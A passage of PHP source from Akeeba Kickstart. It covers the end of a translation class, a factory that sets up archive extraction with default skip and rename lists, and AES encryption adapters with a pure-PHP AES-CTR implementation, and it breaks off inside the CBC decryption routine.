	public static function &getInstance()
	{
		static $instance;

		if (!is_object($instance))
		{
			$instance = new AKText();
		}

		return $instance;
	}

	public static function _($string)
	{
		$text = self::getInstance();

		$key = strtoupper($string);
		$key = substr($key, 0, 1) == '_' ? substr($key, 1) : $key;

		if (isset ($text->strings[$key]))
		{
			$string = $text->strings[$key];
		}
		else
		{
			if (defined($string))
			{
				$string = constant($string);
			}
		}

		return $string;
	}

	public function dumpLanguage()
	{
		$out = '';
		foreach ($this->strings as $key => $value)
		{
			$out .= "$key=$value\n";
		}

		return $out;
	}

	public function asJavascript()
	{
		$out = '';
		foreach ($this->strings as $key => $value)
		{
			$key   = addcslashes($key, '\\\'"');
			$value = addcslashes($value, '\\\'"');
			if (!empty($out))
			{
				$out .= ",\n";
			}
			$out .= "'$key':\t'$value'";
		}

		return $out;
	}

	public function resetTranslation()
	{
		$this->strings = $this->default_translation;
	}

	public function addDefaultLanguageStrings($stringList = array())
	{
		if (!is_array($stringList))
		{
			return;
		}
		if (empty($stringList))
		{
			return;
		}

		$this->strings = array_merge($stringList, $this->strings);
	}
}

/**
 * The Akeeba Kickstart Factory class
 * This class is reponssible for instanciating all Akeeba Kicsktart classes
 */
class AKFactory
{
	/** @var   array  A list of instantiated objects */
	private $objectlist = array();

	/** @var   array  Simple hash data storage */
	private $varlist = array();

	/** @var   self   Static instance */
	private static $instance = null;

	/** Private constructor makes sure we can't directly instantiate the class */
	private function __construct()
	{
	}

	/**
	 * Gets a serialized snapshot of the Factory for safekeeping (hibernate)
	 *
	 * @return string The serialized snapshot of the Factory
	 */
	public static function serialize()
	{
		$engine = self::getUnarchiver();
		$engine->shutdown();
		$serialized = serialize(self::getInstance());

		if (function_exists('base64_encode') && function_exists('base64_decode'))
		{
			$serialized = base64_encode($serialized);
		}

		return $serialized;
	}

	/**
	 * Gets the unarchiver engine
	 */
	public static function &getUnarchiver($configOverride = null)
	{
		static $class_name;

		if (!empty($configOverride))
		{
			if ($configOverride['reset'])
			{
				$class_name = null;
			}
		}

		if (empty($class_name))
		{
			$filetype = self::get('kickstart.setup.filetype', null);

			if (empty($filetype))
			{
				$filename      = self::get('kickstart.setup.sourcefile', null);
				$basename      = basename($filename);
				$baseextension = strtoupper(substr($basename, -3));
				switch ($baseextension)
				{
					case 'JPA':
						$filetype = 'JPA';
						break;

					case 'JPS':
						$filetype = 'JPS';
						break;

					case 'ZIP':
						$filetype = 'ZIP';
						break;

					default:
						die('Invalid archive type or extension in file ' . $filename);
						break;
				}
			}

			$class_name = 'AKUnarchiver' . ucfirst($filetype);
		}

		$destdir = self::get('kickstart.setup.destdir', null);
		if (empty($destdir))
		{
			$destdir = KSROOTDIR;
		}

		$object = self::getClassInstance($class_name);
		if ($object->getState() == 'init')
		{
			$sourcePath = self::get('kickstart.setup.sourcepath', '');
			$sourceFile = self::get('kickstart.setup.sourcefile', '');

			if (!empty($sourcePath))
			{
				$sourceFile = rtrim($sourcePath, '/\\') . '/' . $sourceFile;
			}

			// Initialize the object –– Any change here MUST be reflected to echoHeadJavascript (default values)
			$config = array(
				'filename'            => $sourceFile,
				'restore_permissions' => self::get('kickstart.setup.restoreperms', 0),
				'post_proc'           => self::get('kickstart.procengine', 'direct'),
				'add_path'            => self::get('kickstart.setup.targetpath', $destdir),
				'remove_path'         => self::get('kickstart.setup.removepath', ''),
				'rename_files'        => self::get('kickstart.setup.renamefiles', array(
					'.htaccess' => 'htaccess.bak', 'php.ini' => 'php.ini.bak', 'web.config' => 'web.config.bak',
					'.user.ini' => '.user.ini.bak'
				)),
				'skip_files'          => self::get('kickstart.setup.skipfiles', array(
					basename(__FILE__), 'kickstart.php', 'abiautomation.ini', 'htaccess.bak', 'php.ini.bak',
					'cacert.pem'
				)),
				'ignoredirectories'   => self::get('kickstart.setup.ignoredirectories', array(
					'tmp', 'log', 'logs'
				)),
			);

			if (!defined('KICKSTART'))
			{
				// In restore.php mode we have to exclude the restoration.php files
				$moreSkippedFiles     = array(
					// Akeeba Backup for Joomla!
					'administrator/components/com_akeeba/restoration.php',
					// Joomla! Update
					'administrator/components/com_joomlaupdate/restoration.php',
					// Akeeba Backup for WordPress
					'wp-content/plugins/akeebabackupwp/app/restoration.php',
					'wp-content/plugins/akeebabackupcorewp/app/restoration.php',
					'wp-content/plugins/akeebabackup/app/restoration.php',
					'wp-content/plugins/akeebabackupwpcore/app/restoration.php',
					// Akeeba Solo
					'app/restoration.php',
				);
				$config['skip_files'] = array_merge($config['skip_files'], $moreSkippedFiles);
			}

			if (!empty($configOverride))
			{
				$config = array_merge($config, $configOverride);
			}

			$object->setup($config);
		}

		return $object;
	}

	// ========================================================================
	// Public factory interface
	// ========================================================================

	public static function get($key, $default = null)
	{
		$self = self::getInstance();

		if (array_key_exists($key, $self->varlist))
		{
			return $self->varlist[$key];
		}
		else
		{
			return $default;
		}
	}

	/**
	 * Gets a single, internally used instance of the Factory
	 *
	 * @param string $serialized_data [optional] Serialized data to spawn the instance from
	 *
	 * @return AKFactory A reference to the unique Factory object instance
	 */
	protected static function &getInstance($serialized_data = null)
	{
		if (!is_object(self::$instance) || !is_null($serialized_data))
		{
			if (!is_null($serialized_data))
			{
				self::$instance = unserialize($serialized_data);
			}
			else
			{
				self::$instance = new self();
			}
		}

		return self::$instance;
	}

	/**
	 * Internal function which instanciates a class named $class_name.
	 * The autoloader
	 *
	 * @param string $class_name
	 *
	 * @return object
	 */
	protected static function &getClassInstance($class_name)
	{
		$self = self::getInstance();

		if (!isset($self->objectlist[$class_name]))
		{
			$self->objectlist[$class_name] = new $class_name;
		}

		return $self->objectlist[$class_name];
	}

	// ========================================================================
	// Public hash data storage interface
	// ========================================================================

	/**
	 * Regenerates the full Factory state from a serialized snapshot (resume)
	 *
	 * @param string $serialized_data The serialized snapshot to resume from
	 */
	public static function unserialize($serialized_data)
	{
		if (function_exists('base64_encode') && function_exists('base64_decode'))
		{
			$serialized_data = base64_decode($serialized_data);
		}
		self::getInstance($serialized_data);
	}

	/**
	 * Reset the internal factory state, freeing all previously created objects
	 */
	public static function nuke()
	{
		self::$instance = null;
	}

	// ========================================================================
	// Akeeba Kickstart classes
	// ========================================================================

	public static function set($key, $value)
	{
		$self                = self::getInstance();
		$self->varlist[$key] = $value;
	}

	/**
	 * Gets the post processing engine
	 *
	 * @param string $proc_engine
	 */
	public static function &getPostProc($proc_engine = null)
	{
		static $class_name;
		if (empty($class_name))
		{
			if (empty($proc_engine))
			{
				$proc_engine = self::get('kickstart.procengine', 'direct');
			}
			$class_name = 'AKPostproc' . ucfirst($proc_engine);
		}

		return self::getClassInstance($class_name);
	}

	/**
	 * Get the a reference to the Akeeba Engine's timer
	 *
	 * @return AKCoreTimer
	 */
	public static function &getTimer()
	{
		/** @noinspection PhpIncompatibleReturnTypeInspection */
		return self::getClassInstance('AKCoreTimer');
	}

}

/**
 * Interface for AES encryption adapters
 */
interface AKEncryptionAESAdapterInterface
{
	/**
	 * Decrypts a string. Returns the raw binary ciphertext, zero-padded.
	 *
	 * @param   string       $plainText  The plaintext to encrypt
	 * @param   string       $key        The raw binary key (will be zero-padded or chopped if its size is different than the block size)
	 *
	 * @return  string  The raw encrypted binary string.
	 */
	public function decrypt($plainText, $key);

	/**
	 * Returns the encryption block size in bytes
	 *
	 * @return  int
	 */
	public function getBlockSize();

	/**
	 * Is this adapter supported?
	 *
	 * @return  bool
	 */
	public function isSupported();
}

/**
 * Abstract AES encryption class
 */
abstract class AKEncryptionAESAdapterAbstract
{
	/**
	 * Trims or zero-pads a key / IV
	 *
	 * @param   string $key  The key or IV to treat
	 * @param   int    $size The block size of the currently used algorithm
	 *
	 * @return  null|string  Null if $key is null, treated string of $size byte length otherwise
	 */
	public function resizeKey($key, $size)
	{
		if (empty($key))
		{
			return null;
		}

		$keyLength = strlen($key);

		if (function_exists('mb_strlen'))
		{
			$keyLength = mb_strlen($key, 'ASCII');
		}

		if ($keyLength == $size)
		{
			return $key;
		}

		if ($keyLength > $size)
		{
			if (function_exists('mb_substr'))
			{
				return mb_substr($key, 0, $size, 'ASCII');
			}

			return substr($key, 0, $size);
		}

		return $key . str_repeat("\0", ($size - $keyLength));
	}

	/**
	 * Returns null bytes to append to the string so that it's zero padded to the specified block size
	 *
	 * @param   string $string    The binary string which will be zero padded
	 * @param   int    $blockSize The block size
	 *
	 * @return  string  The zero bytes to append to the string to zero pad it to $blockSize
	 */
	protected function getZeroPadding($string, $blockSize)
	{
		$stringSize = strlen($string);

		if (function_exists('mb_strlen'))
		{
			$stringSize = mb_strlen($string, 'ASCII');
		}

		if ($stringSize == $blockSize)
		{
			return '';
		}

		if ($stringSize < $blockSize)
		{
			return str_repeat("\0", $blockSize - $stringSize);
		}

		$paddingBytes = $stringSize % $blockSize;

		return str_repeat("\0", $blockSize - $paddingBytes);
	}
}

class Mcrypt extends AKEncryptionAESAdapterAbstract implements AKEncryptionAESAdapterInterface
{
	protected $cipherType = MCRYPT_RIJNDAEL_128;

	protected $cipherMode = MCRYPT_MODE_CBC;

	public function decrypt($cipherText, $key)
	{
		$iv_size    = $this->getBlockSize();
		$key        = $this->resizeKey($key, $iv_size);
		$iv         = substr($cipherText, 0, $iv_size);
		$cipherText = substr($cipherText, $iv_size);
		$plainText  = mcrypt_decrypt($this->cipherType, $key, $cipherText, $this->cipherMode, $iv);

		return $plainText;
	}

	public function isSupported()
	{
		if (!function_exists('mcrypt_get_key_size'))
		{
			return false;
		}

		if (!function_exists('mcrypt_get_iv_size'))
		{
			return false;
		}

		if (!function_exists('mcrypt_create_iv'))
		{
			return false;
		}

		if (!function_exists('mcrypt_encrypt'))
		{
			return false;
		}

		if (!function_exists('mcrypt_decrypt'))
		{
			return false;
		}

		if (!function_exists('mcrypt_list_algorithms'))
		{
			return false;
		}

		if (!function_exists('hash'))
		{
			return false;
		}

		if (!function_exists('hash_algos'))
		{
			return false;
		}

		$algorightms = mcrypt_list_algorithms();

		if (!in_array('rijndael-128', $algorightms))
		{
			return false;
		}

		if (!in_array('rijndael-192', $algorightms))
		{
			return false;
		}

		if (!in_array('rijndael-256', $algorightms))
		{
			return false;
		}

		$algorightms = hash_algos();

		if (!in_array('sha256', $algorightms))
		{
			return false;
		}

		return true;
	}

	public function getBlockSize()
	{
		return mcrypt_get_iv_size($this->cipherType, $this->cipherMode);
	}
}

class OpenSSL extends AKEncryptionAESAdapterAbstract implements AKEncryptionAESAdapterInterface
{
	/**
	 * The OpenSSL options for encryption / decryption
	 *
	 * @var  int
	 */
	protected $openSSLOptions = 0;

	/**
	 * The encryption method to use
	 *
	 * @var  string
	 */
	protected $method = 'aes-128-cbc';

	public function __construct()
	{
		$this->openSSLOptions = OPENSSL_RAW_DATA | OPENSSL_ZERO_PADDING;
	}

	public function decrypt($cipherText, $key)
	{
		$iv_size    = $this->getBlockSize();
		$key        = $this->resizeKey($key, $iv_size);
		$iv         = substr($cipherText, 0, $iv_size);
		$cipherText = substr($cipherText, $iv_size);
		$plainText  = openssl_decrypt($cipherText, $this->method, $key, $this->openSSLOptions, $iv);

		return $plainText;
	}

	public function isSupported()
	{
		if (!function_exists('openssl_get_cipher_methods'))
		{
			return false;
		}

		if (!function_exists('openssl_random_pseudo_bytes'))
		{
			return false;
		}

		if (!function_exists('openssl_cipher_iv_length'))
		{
			return false;
		}

		if (!function_exists('openssl_encrypt'))
		{
			return false;
		}

		if (!function_exists('openssl_decrypt'))
		{
			return false;
		}

		if (!function_exists('hash'))
		{
			return false;
		}

		if (!function_exists('hash_algos'))
		{
			return false;
		}

		$algorightms = openssl_get_cipher_methods();

		if (!in_array('aes-128-cbc', $algorightms))
		{
			return false;
		}

		$algorightms = hash_algos();

		if (!in_array('sha256', $algorightms))
		{
			return false;
		}

		return true;
	}

	/**
	 * @return int
	 */
	public function getBlockSize()
	{
		return openssl_cipher_iv_length($this->method);
	}
}

/**
 * AES implementation in PHP (c) Chris Veness 2005-2016.
 * Right to use and adapt is granted for under a simple creative commons attribution
 * licence. No warranty of any form is offered.
 *
 * Heavily modified for Akeeba Backup by Nicholas K. Dionysopoulos
 * Also added AES-128 CBC mode (with mcrypt and OpenSSL) on top of AES CTR
 */
class AKEncryptionAES
{
	// Sbox is pre-computed multiplicative inverse in GF(2^8) used in SubBytes and KeyExpansion [�5.1.1]
	protected static $Sbox =
		array(0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76,
			0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0,
			0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15,
			0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75,
			0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84,
			0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf,
			0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8,
			0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2,
			0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73,
			0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb,
			0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79,
			0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08,
			0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a,
			0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e,
			0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf,
			0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16);

	// Rcon is Round Constant used for the Key Expansion [1st col is 2^(r-1) in GF(2^8)] [�5.2]
	protected static $Rcon = array(
		array(0x00, 0x00, 0x00, 0x00),
		array(0x01, 0x00, 0x00, 0x00),
		array(0x02, 0x00, 0x00, 0x00),
		array(0x04, 0x00, 0x00, 0x00),
		array(0x08, 0x00, 0x00, 0x00),
		array(0x10, 0x00, 0x00, 0x00),
		array(0x20, 0x00, 0x00, 0x00),
		array(0x40, 0x00, 0x00, 0x00),
		array(0x80, 0x00, 0x00, 0x00),
		array(0x1b, 0x00, 0x00, 0x00),
		array(0x36, 0x00, 0x00, 0x00));

	protected static $passwords = array();

	/**
	 * The algorithm to use for PBKDF2. Must be a supported hash_hmac algorithm. Default: sha1
	 *
	 * @var  string
	 */
	private static $pbkdf2Algorithm = 'sha1';

	/**
	 * Number of iterations to use for PBKDF2
	 *
	 * @var  int
	 */
	private static $pbkdf2Iterations = 1000;

	/**
	 * Should we use a static salt for PBKDF2?
	 *
	 * @var  int
	 */
	private static $pbkdf2UseStaticSalt = 0;

	/**
	 * The static salt to use for PBKDF2
	 *
	 * @var  string
	 */
	private static $pbkdf2StaticSalt = "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";

	/**
	 * Encrypt a text using AES encryption in Counter mode of operation
	 *  - see http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf
	 *
	 * Unicode multi-byte character safe
	 *
	 * @param   string $plaintext Source text to be encrypted
	 * @param   string $password  The password to use to generate a key
	 * @param   int    $nBits     Number of bits to be used in the key (128, 192, or 256)
	 *
	 * @return  string  Encrypted text
	 */
	public static function AESEncryptCtr($plaintext, $password, $nBits)
	{
		$blockSize = 16;  // block size fixed at 16 bytes / 128 bits (Nb=4) for AES
		if (!($nBits == 128 || $nBits == 192 || $nBits == 256))
		{
			return '';
		}  // standard allows 128/192/256 bit keys
		// note PHP (5) gives us plaintext and password in UTF8 encoding!

		// use AES itself to encrypt password to get cipher key (using plain password as source for
		// key expansion) - gives us well encrypted key
		$nBytes  = $nBits / 8;  // no bytes in key
		$pwBytes = array();
		for ($i = 0; $i < $nBytes; $i++)
		{
			$pwBytes[$i] = ord(substr($password, $i, 1)) & 0xff;
		}
		$key = self::Cipher($pwBytes, self::KeyExpansion($pwBytes));
		$key = array_merge($key, array_slice($key, 0, $nBytes - 16));  // expand key to 16/24/32 bytes long

		// initialise counter block (NIST SP800-38A �B.2): millisecond time-stamp for nonce in
		// 1st 8 bytes, block counter in 2nd 8 bytes
		$counterBlock = array();
		$nonce        = floor(microtime(true) * 1000);   // timestamp: milliseconds since 1-Jan-1970
		$nonceSec     = floor($nonce / 1000);
		$nonceMs      = $nonce % 1000;
		// encode nonce with seconds in 1st 4 bytes, and (repeated) ms part filling 2nd 4 bytes
		for ($i = 0; $i < 4; $i++)
		{
			$counterBlock[$i] = self::urs($nonceSec, $i * 8) & 0xff;
		}
		for ($i = 0; $i < 4; $i++)
		{
			$counterBlock[$i + 4] = $nonceMs & 0xff;
		}
		// and convert it to a string to go on the front of the ciphertext
		$ctrTxt = '';
		for ($i = 0; $i < 8; $i++)
		{
			$ctrTxt .= chr($counterBlock[$i]);
		}

		// generate key schedule - an expansion of the key into distinct Key Rounds for each round
		$keySchedule = self::KeyExpansion($key);

		$blockCount = ceil(strlen($plaintext) / $blockSize);
		$ciphertxt  = array();  // ciphertext as array of strings

		for ($b = 0; $b < $blockCount; $b++)
		{
			// set counter (block #) in last 8 bytes of counter block (leaving nonce in 1st 8 bytes)
			// done in two stages for 32-bit ops: using two words allows us to go past 2^32 blocks (68GB)
			for ($c = 0; $c < 4; $c++)
			{
				$counterBlock[15 - $c] = self::urs($b, $c * 8) & 0xff;
			}
			for ($c = 0; $c < 4; $c++)
			{
				$counterBlock[15 - $c - 4] = self::urs($b / 0x100000000, $c * 8);
			}

			$cipherCntr = self::Cipher($counterBlock, $keySchedule);  // -- encrypt counter block --

			// block size is reduced on final block
			$blockLength = $b < $blockCount - 1 ? $blockSize : (strlen($plaintext) - 1) % $blockSize + 1;
			$cipherByte  = array();

			for ($i = 0; $i < $blockLength; $i++)
			{  // -- xor plaintext with ciphered counter byte-by-byte --
				$cipherByte[$i] = $cipherCntr[$i] ^ ord(substr($plaintext, $b * $blockSize + $i, 1));
				$cipherByte[$i] = chr($cipherByte[$i]);
			}
			$ciphertxt[$b] = implode('', $cipherByte);  // escape troublesome characters in ciphertext
		}

		// implode is more efficient than repeated string concatenation
		$ciphertext = $ctrTxt . implode('', $ciphertxt);
		$ciphertext = base64_encode($ciphertext);

		return $ciphertext;
	}

	/**
	 * AES Cipher function: encrypt 'input' with Rijndael algorithm
	 *
	 * @param   array $input    Message as byte-array (16 bytes)
	 * @param   array $w        key schedule as 2D byte-array (Nr+1 x Nb bytes) -
	 *                          generated from the cipher key by KeyExpansion()
	 *
	 * @return  string  Ciphertext as byte-array (16 bytes)
	 */
	protected static function Cipher($input, $w)
	{    // main Cipher function [�5.1]
		$Nb = 4;                 // block size (in words): no of columns in state (fixed at 4 for AES)
		$Nr = count($w) / $Nb - 1; // no of rounds: 10/12/14 for 128/192/256-bit keys

		$state = array();  // initialise 4xNb byte-array 'state' with input [�3.4]
		for ($i = 0; $i < 4 * $Nb; $i++)
		{
			$state[$i % 4][floor($i / 4)] = $input[$i];
		}

		$state = self::AddRoundKey($state, $w, 0, $Nb);

		for ($round = 1; $round < $Nr; $round++)
		{  // apply Nr rounds
			$state = self::SubBytes($state, $Nb);
			$state = self::ShiftRows($state, $Nb);
			$state = self::MixColumns($state);
			$state = self::AddRoundKey($state, $w, $round, $Nb);
		}

		$state = self::SubBytes($state, $Nb);
		$state = self::ShiftRows($state, $Nb);
		$state = self::AddRoundKey($state, $w, $Nr, $Nb);

		$output = array(4 * $Nb);  // convert state to 1-d array before returning [�3.4]
		for ($i = 0; $i < 4 * $Nb; $i++)
		{
			$output[$i] = $state[$i % 4][floor($i / 4)];
		}

		return $output;
	}

	protected static function AddRoundKey($state, $w, $rnd, $Nb)
	{  // xor Round Key into state S [�5.1.4]
		for ($r = 0; $r < 4; $r++)
		{
			for ($c = 0; $c < $Nb; $c++)
			{
				$state[$r][$c] ^= $w[$rnd * 4 + $c][$r];
			}
		}

		return $state;
	}

	protected static function SubBytes($s, $Nb)
	{    // apply SBox to state S [�5.1.1]
		for ($r = 0; $r < 4; $r++)
		{
			for ($c = 0; $c < $Nb; $c++)
			{
				$s[$r][$c] = self::$Sbox[$s[$r][$c]];
			}
		}

		return $s;
	}

	protected static function ShiftRows($s, $Nb)
	{    // shift row r of state S left by r bytes [�5.1.2]
		$t = array(4);
		for ($r = 1; $r < 4; $r++)
		{
			for ($c = 0; $c < 4; $c++)
			{
				$t[$c] = $s[$r][($c + $r) % $Nb];
			}  // shift into temp copy
			for ($c = 0; $c < 4; $c++)
			{
				$s[$r][$c] = $t[$c];
			}         // and copy back
		}          // note that this will work for Nb=4,5,6, but not 7,8 (always 4 for AES):
		return $s;  // see fp.gladman.plus.com/cryptography_technology/rijndael/aes.spec.311.pdf
	}

	protected static function MixColumns($s)
	{
		// combine bytes of each col of state S [�5.1.3]
		for ($c = 0; $c < 4; $c++)
		{
			$a = array(4);  // 'a' is a copy of the current column from 's'
			$b = array(4);  // 'b' is a�{02} in GF(2^8)

			for ($i = 0; $i < 4; $i++)
			{
				$a[$i] = $s[$i][$c];
				$b[$i] = $s[$i][$c] & 0x80 ? $s[$i][$c] << 1 ^ 0x011b : $s[$i][$c] << 1;
			}

			// a[n] ^ b[n] is a�{03} in GF(2^8)
			$s[0][$c] = $b[0] ^ $a[1] ^ $b[1] ^ $a[2] ^ $a[3]; // 2*a0 + 3*a1 + a2 + a3
			$s[1][$c] = $a[0] ^ $b[1] ^ $a[2] ^ $b[2] ^ $a[3]; // a0 * 2*a1 + 3*a2 + a3
			$s[2][$c] = $a[0] ^ $a[1] ^ $b[2] ^ $a[3] ^ $b[3]; // a0 + a1 + 2*a2 + 3*a3
			$s[3][$c] = $a[0] ^ $b[0] ^ $a[1] ^ $a[2] ^ $b[3]; // 3*a0 + a1 + a2 + 2*a3
		}

		return $s;
	}

	/**
	 * Key expansion for Rijndael Cipher(): performs key expansion on cipher key
	 * to generate a key schedule
	 *
	 * @param   array $key Cipher key byte-array (16 bytes)
	 *
	 * @return  array  Key schedule as 2D byte-array (Nr+1 x Nb bytes)
	 */
	protected static function KeyExpansion($key)
	{
		// generate Key Schedule from Cipher Key [�5.2]

		// block size (in words): no of columns in state (fixed at 4 for AES)
		$Nb = 4;
		// key length (in words): 4/6/8 for 128/192/256-bit keys
		$Nk = (int) (count($key) / 4);
		// no of rounds: 10/12/14 for 128/192/256-bit keys
		$Nr = $Nk + 6;

		$w    = array();
		$temp = array();

		for ($i = 0; $i < $Nk; $i++)
		{
			$r     = array($key[4 * $i], $key[4 * $i + 1], $key[4 * $i + 2], $key[4 * $i + 3]);
			$w[$i] = $r;
		}

		for ($i = $Nk; $i < ($Nb * ($Nr + 1)); $i++)
		{
			$w[$i] = array();
			for ($t = 0; $t < 4; $t++)
			{
				$temp[$t] = $w[$i - 1][$t];
			}
			if ($i % $Nk == 0)
			{
				$temp = self::SubWord(self::RotWord($temp));
				for ($t = 0; $t < 4; $t++)
				{
					$rConIndex = (int) ($i / $Nk);
					$temp[$t] ^= self::$Rcon[$rConIndex][$t];
				}
			}
			else if ($Nk > 6 && $i % $Nk == 4)
			{
				$temp = self::SubWord($temp);
			}
			for ($t = 0; $t < 4; $t++)
			{
				$w[$i][$t] = $w[$i - $Nk][$t] ^ $temp[$t];
			}
		}

		return $w;
	}

	protected static function SubWord($w)
	{    // apply SBox to 4-byte word w
		for ($i = 0; $i < 4; $i++)
		{
			$w[$i] = self::$Sbox[$w[$i]];
		}

		return $w;
	}

	/*
	 * Unsigned right shift function, since PHP has neither >>> operator nor unsigned ints
	 *
	 * @param a  number to be shifted (32-bit integer)
	 * @param b  number of bits to shift a to the right (0..31)
	 * @return   a right-shifted and zero-filled by b bits
	 */

	protected static function RotWord($w)
	{    // rotate 4-byte word w left by one byte
		$tmp = $w[0];
		for ($i = 0; $i < 3; $i++)
		{
			$w[$i] = $w[$i + 1];
		}
		$w[3] = $tmp;

		return $w;
	}

	protected static function urs($a, $b)
	{
		$a &= 0xffffffff;
		$b &= 0x1f;  // (bounds check)
		if ($a & 0x80000000 && $b > 0)
		{   // if left-most bit set
			$a = ($a >> 1) & 0x7fffffff;   //   right-shift one bit & clear left-most bit
			$a = $a >> ($b - 1);           //   remaining right-shifts
		}
		else
		{                       // otherwise
			$a = ($a >> $b);               //   use normal right-shift
		}

		return $a;
	}

	/**
	 * Decrypt a text encrypted by AES in counter mode of operation
	 *
	 * @param   string  $ciphertext  Source text to be decrypted
	 * @param   string  $password    The password to use to generate a key
	 * @param   int     $nBits       Number of bits to be used in the key (128, 192, or 256)
	 *
	 * @return  string  Decrypted text
	 */
	public static function AESDecryptCtr($ciphertext, $password, $nBits)
	{
		$blockSize = 16;  // block size fixed at 16 bytes / 128 bits (Nb=4) for AES

		if (!($nBits == 128 || $nBits == 192 || $nBits == 256))
		{
			return '';
		}

		// standard allows 128/192/256 bit keys
		$ciphertext = base64_decode($ciphertext);

		// use AES to encrypt password (mirroring encrypt routine)
		$nBytes  = $nBits / 8;  // no bytes in key
		$pwBytes = array();

		for ($i = 0; $i < $nBytes; $i++)
		{
			$pwBytes[$i] = ord(substr($password, $i, 1)) & 0xff;
		}

		$key = self::Cipher($pwBytes, self::KeyExpansion($pwBytes));
		$key = array_merge($key, array_slice($key, 0, $nBytes - 16));  // expand key to 16/24/32 bytes long

		// recover nonce from 1st element of ciphertext
		$counterBlock = array();
		$ctrTxt       = substr($ciphertext, 0, 8);

		for ($i = 0; $i < 8; $i++)
		{
			$counterBlock[$i] = ord(substr($ctrTxt, $i, 1));
		}

		// generate key schedule
		$keySchedule = self::KeyExpansion($key);

		// separate ciphertext into blocks (skipping past initial 8 bytes)
		$nBlocks = ceil((strlen($ciphertext) - 8) / $blockSize);
		$ct      = array();

		for ($b = 0; $b < $nBlocks; $b++)
		{
			$ct[$b] = substr($ciphertext, 8 + $b * $blockSize, 16);
		}

		$ciphertext = $ct;  // ciphertext is now array of block-length strings

		// plaintext will get generated block-by-block into array of block-length strings
		$plaintxt = array();

		for ($b = 0; $b < $nBlocks; $b++)
		{
			// set counter (block #) in last 8 bytes of counter block (leaving nonce in 1st 8 bytes)
			for ($c = 0; $c < 4; $c++)
			{
				$counterBlock[15 - $c] = self::urs($b, $c * 8) & 0xff;
			}

			for ($c = 0; $c < 4; $c++)
			{
				$counterBlock[15 - $c - 4] = self::urs(($b + 1) / 0x100000000 - 1, $c * 8) & 0xff;
			}

			$cipherCntr = self::Cipher($counterBlock, $keySchedule);  // encrypt counter block

			$plaintxtByte = array();

			for ($i = 0; $i < strlen($ciphertext[$b]); $i++)
			{
				// -- xor plaintext with ciphered counter byte-by-byte --
				$plaintxtByte[$i] = $cipherCntr[$i] ^ ord(substr($ciphertext[$b], $i, 1));
				$plaintxtByte[$i] = chr($plaintxtByte[$i]);

			}

			$plaintxt[$b] = implode('', $plaintxtByte);
		}

		// join array of blocks into single plaintext string
		$plaintext = implode('', $plaintxt);

		return $plaintext;
	}

	/**
	 * AES decryption in CBC mode. This is the standard mode (the CTR methods
	 * actually use Rijndael-128 in CTR mode, which - technically - isn't AES).
	 *
	 * It supports AES-128 only. It assumes that the last 4 bytes
	 * contain a little-endian unsigned long integer representing the unpadded
	 * data length.
	 *
	 * @since  3.0.1
	 * @author Nicholas K. Dionysopoulos
	 *
	 * @param   string $ciphertext The data to encrypt
	 * @param   string $password   Encryption password
	 *
	 * @return  string  The plaintext
	 */
	public static function AESDecryptCBC($ciphertext, $password)
	{
		$adapter = self::getAdapter();

		if (!$adapter->isSupported())
		{
			return false;
		}

		// Read the data size
		$data_size = unpack('V', substr($ciphertext, -4));

		// Do I have a PBKDF2 salt?
		$salt             = substr($ciphertext, -92, 68);
		$rightStringLimit = -4;

		$params        = self::getKeyDerivationParameters();
		$keySizeBytes  = $params['keySize'];
		$algorithm     = $params['algorithm'];
		$iterations    = $params['iterations'];
		$useStaticSalt = $params['useStaticSalt'];

		if (substr($salt, 0, 4) == 'JPST')
		{
			// We have a stored salt. Retrieve it and tell decrypt to process the string minus the last 44 bytes
			// (4 bytes for JPST, 16 bytes for the salt, 4 bytes for JPIV, 16 bytes for the IV, 4 bytes for the
			// uncompressed string length - note that using PBKDF2 means we're also using a randomized IV per the
			// format specification).
			$salt             = substr($salt, 4);
